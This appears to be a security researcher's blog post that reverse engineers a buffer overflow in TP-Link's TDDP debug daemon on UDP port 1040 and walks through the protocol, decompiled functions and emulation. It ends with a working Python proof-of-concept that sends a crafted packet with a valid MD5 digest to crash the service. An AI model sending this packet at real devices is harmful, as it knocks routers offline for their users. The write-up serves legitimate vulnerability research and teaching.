TP-Link TDDP Buffer Overflow Vulnerability

TP-Link's TDDP programs listening on UDP port 1040, fails to properly verify data length during parsing, leading to memory overflow destroying the memory structure and causing a denial of service.

This blog explores a vulnerability that was reported to TP-Link in 2020. However, no CVE was ever assigned, and details about the bug were never disclosed publicly. Analyzing technical write-ups can provide valuable insights and learning experiences. For this reason, I’ve chosen to share the technical details of this vulnerability. I strongly believe that sharing methodologies and research publicly benefits the industry, learners, students, and professionals.

I'll be using Shambles to identify, reverse, emulate, and validate the buffer overflow which leads to a denial of service. If you're interested in getting your hands on Shambles you can join the Discord and read the FAQ channel.

Let's begin by introducing the protocol, TDDP, which is a binary protocol documented in patent CN102096654A. Everything you need to understand the protocol is in the patent descriptions. But I'll summarize it for you.

TDDP is an acronym for TP-LINK Device Debug Protocol which is primarily used for debugging purposes that operate through a single UDP packet. This makes it very interesting to reverse since this binary protocol must be parsed. TDDP packet serves to transmit requests or commands with distinct message types specified within its payload. Below is an illustration depicting the format of a TDDP packet.

          0                   1                   2                   3
          0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |     Ver      |     Type      |     Code     |   ReplyInfo     |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |                          PktLength                            |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |             PktID            |    SubType   |     Reserve     |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |                        MD5 Digest[0-3]                        |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |                        MD5 Digest[4-7]                        |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |                        MD5 Digest[8-11]                       |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
         |                        MD5 Digest[12-15]                      |
         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

TDDP packet header - https://patents.google.com/patent/CN102096654A/en

To issue commands, you adjust the values in the Type and SubType header fields. To my understanding, any returned data is encrypted using DES and must be decrypted typically using the device's username and password. Configuration data sent to the device also needs to be encrypted. The DES key is formed by combining the MD5 hash of the username and password, then extracting the first 8 bytes of the hash.

The full buffer overflow chain can be visualized below. We'll cover it step-by-step but you'll likely need to scroll back up to reference the image.

Let's break this down. We'll call the function shown below tddpEntry (sub_4045f8 0x004045F8) which is the start of the chain. This function handles communication using the TDDP protocol by continuously checking for incoming data. UDP data is received from the recvfrom function which is used to receive data from a socket in dword_4178d0.

sub_4045f8 0x004045F8 - recvfrom injection

The data received is stored in the buffer (varf4). No validation against the received data size is performed when it is then passed to TddpPktInterfaceFunction (sub_4045f8+330 0x00404B40) for processing. As seen below GetTddpMaxPktBuff (sub_4042d0 0x004042D0) returns 0x14000.

sub_4042d0 0x004042D0 - GetTddpMaxPktBuff returning 0x14000

Below is the TddpPktInterfaceFunction function.

sub_404b40 00404B40 - tddp_versionTwoOpt processing

The conditional block above will handle cases where the first byte of the packet p0 equals 2 byte[0] = 2 seen in the code as *(byte *)p0 == 2. The function passes data by setting specific values into the packet and a new storage space pointer. Then it calls the tddp_versionTwoOpt (sub_404b40 0x00405990) function to process the packet further. The size and allocation of off_42ba8c is at a maximum length of 0x14000 when the packet is processed. The tddp_versionTwoOpt function passes data into tddp_deCode (sub_404fa4 0x00405014) for verification.

sub_404b40 0x00405990 - tddp_versionTwoOpt passing data into tddp_deCode

tddp_deCode will set the data, DES length, and pointer then attempt to decode the provided TDDP packet (p0 and p1) and verify the integrity of the decrypted data. If successful, it updates the decoded data and returns 0.

In other words, the tddp_deCode function decodes the TDDP packet. In the tddp_deCode function, the data, and DES length are going to be contained in byte[4-8] and a pointer to the newly stored data is set before calling des_min_do for decryption. It's important to note that des_min_do is a function provided by the /lib/libutility_lib.so library.

Again, parameters such as size and length are passed into des_min_do for decryption.

sub_404fa4 0x00405014 - PART 1: tddp_deCode passed as argument to des_min_do

After extracting the necessary fields from the input data, the function calculates the DES length using the extracted bytes byte[4-8], and sets the pointer to the newly stored data represented by the variable arg4.

// Further up in the function
arg0 = p0;
arg4 = p1; // Pointer of the newly stored data

// Line 99
var34 = des_min_do(arg0 + 28, var38, arg4 + 28, v18);

Here, arg4 is passed as an argument to the des_min_do function, which as we've mentioned multiple times is responsible for decrypting the data. The decrypted data is then stored starting from the offset arg4 + 28.

// Line 96
v18 = GetTddpMaxPktBuff() - 28; 

The resulting value (v18) is used as the limit for further operations. The snipped of code above is when the function sub_4042d0() is called, which returns the size of the decrypted data. Then, 28 is subtracted from this size, presumably to account for some header length. This is passed as the fourth parameter.

That was pretty lengthy. And perhaps confusing so just to recap. In the des_min_do function, arg4 and v18 are parameters passed into the function. The variable arg4 contains the value p1 which is passed as the third argument to des_min_do. arg4 is used to provide the length of the DES data to the des_min_do function. v18 is also passed into des_min_do as the fourth argument and is assigned the result of the expression GetTddpMaxPktBuff() - 28.

Let's look at the des_min_do function.

sub_009F18 0x00009F20 - des_min_do not decrypting

As seen above when the length of DES passed in byte[4-8] is greater than the maximum size limit 0x14000 0 is returned directly without decryption. Therefore if v6 is 0, v5 < p1 the DES encryption key won't be set using DES_set_key_unchecked and no decryption is performed. So at this point, the des_min_do function will return 0.

After some more operations are performed in tddp_deCode the MD5 digest verification block is reached.

sub_404fa4 Address: 0x00405274 Ref Address: 0x00400CC0 - PART 2: tddp_deCode md5_verify_digest

Following the processing in tddp_deCode, the MD5 digest stored in byte[13-28] is extracted and compared with the MD5 digest of the entire current dataset. When the md5 digest is compared the original md5 digest byte[13-28] position is set to 0). As seen in the memory write operation below.

*(byte *)(arg4 + var38 + 28) = 0;

Since arg4 is the data structure containing the MD5 digest, var38 holds the offset to the start of the MD5 digest within the buffer. By setting the byte at this position to 0, it effectively modifies the stored MD5 digest, which is stored in bytes 13-28 of the buffer. This modification allows the subsequent comparison to determine if the recalculated MD5 digest matches the original stored MD5 digest.

SO! The MD5 digest stored in byte[13-28] is extracted. This extracted MD5 digest is then compared with the MD5 digest data, where the original MD5 digest byte[13-28] position is set to 0. If the verification is correct (i.e., if the extracted MD5 digest matches the MD5 digest of the current data) the tddp_deCode function proceeds to process it, points the pointer of the new storage content to the position of byte[4-8] + 28, and sets the byte position to 0. Since byte[4-8] is controllable, we can cause overflow (if greater than 0x14000), writing it to 0 leads to memory corruption, as it destroys the memory structure and causes a denial of service (DoS) condition.

Let's make a POC using Shambles! This literally takes 5 minutes. Simply create a VM and map it to the 2nd file system containing all the firmware binaries.

Then we simply start the VM as seen below no edits are required to the firmware and it runs flawlessly.

Through the built-in SSH console, we'll manually start the httpd binary.

We can validate that it's working by performing some reverse proxying and accessing the page.

We'll also go ahead and spin up tddpd.

Before we try throwing anything at the box its always good to validate that the required services are running. We confirm below that tddpd is rolling on port 1040.

I'll access the VM's port 1040 over my local port 10461.

We need to set v0 to 0x01000000 in byte[4-8]. The UDP packet still has to be valid and recognized. So looking at the patent information we will set the following values:

byte[0]: Ver
byte[4-8]: PktLength
byte[13-28]: MD5 digest
byte[29-N]: DES
---------------------------------
TDDP version = "02"
TDDP user config = "01 00 00 00"
TDDP code request type = "01"
TDDP reply info status (OK) = "00"
TDDP padding = "%0.16X" % 00

The final POC will be the following code.

import socket
import hashlib

bytes12 = bytes([0x02, 0x01, 0x00, 0x00,
                 0x01, 0x00, 0x00, 0x00,
                 0x12, 0x34, 0x56, 0x78])

magic = (0x00).to_bytes(length=16, byteorder='big')
tmp_data_bytes = bytes12 + magic

md5_bytes = hashlib.md5(tmp_data_bytes).digest()
data_bytes = bytes12 + md5_bytes

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(data_bytes, ("127.0.0.1", 10461))

data = s.recv(1024)
print('recv:' + data.decode())
s.close()

Once executed we can look at Shambles VM logs and see that the tddpd program has crashed.

Through debugging, we can confirm the cause is the incoming v0=0x01000000 which exceeds the range and forces the written value to be 0 causing the crash.

Summary:

I hope you liked the blog post. Follow me on twitter I sometimes post interesting stuff there too. This bug is super interesting and a lot of fun! I'd strongly recommend joining the Discord and getting your hands on Shambles. With such a powerful tool in hand, you'll be able to reverse and discover cool bugs in IoT like never before! :)

Thank you for reading!